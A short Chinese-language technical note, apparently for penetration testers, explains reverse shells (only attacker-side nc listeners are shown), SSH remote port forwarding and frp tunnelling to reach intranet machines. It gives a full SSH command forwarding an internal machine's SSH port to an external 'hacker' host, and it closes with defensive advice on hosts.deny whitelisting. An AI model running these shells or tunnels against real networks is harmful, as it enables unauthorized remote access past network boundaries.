反弹shell
内网shell反弹的本质是与公网服务器建立连接,将公网服务器传输过来的命令执行,并将结果返回。
比如命令注入,不需要知道机器的账号密码,直接反弹出来
虽然公司内网的机器没有暴漏给公网,但公网可以执行命令在这台机器上。前提条件:内网机器可访问互联网。
第一种——nc反弹shell
1 | 黑客机器:nc -lvp 8888 |
第二种——base反弹shell
1 | 黑客机器:nc -l -p 8888 -vvv |
SSH隧道端口转发,内网穿透
SSH远程转发 -R参数,将公司内网的A机器SSH(默认22)端口映射到公网的机器2222端口上。实现在公网的机器上SSH本地的2222端口,远程控制内网的A机器。
前提条件:
1、需要知道公司内网机器账号密码(公私钥也行)
2、内网机器可访问公网(可连接云端SSH端口)
公司内网机器:
1 | ssh -nNT -o ServerAliveInterval=60 -R 127.0.0.1:2222:127.0.0.1:22 hacker@114.115.145.114 -i /home/.ssh/id_rsa_私钥 |
外网云端机器:
1 | ssh -p 2222 rhlog@localhost |
Tips:服务器访问互联网权限,不能轻易开。
frp内网穿透
目标:将公司内网机器的端口映射到公网上
技术:frp、lcx等
前提条件:内网机器可访问公网
- 将内网SSH服务穿透到公网
实现效果:在公网敲ssh命令可以远程登录内网ip,前提是必须知道内网ip的账号/密码(不知道的话,公私钥免密登录也行) - 将内网WEB服务穿透到公网
实现效果:在公网访问内网的WEB系统
安全预防
公司所有linux主机,/etc/hosts.deny禁止所有机器SSH,指定白名单如堡垒机IP到/etc/hosts.allow,对免密登录同样有效。
如果开了互联网权限,又限制了80/443端口,依然可以反弹shell和SSH隧道转发(将云端SSH端口改为80)
具体参考:渗透测试技巧之内网穿透方式与思路总结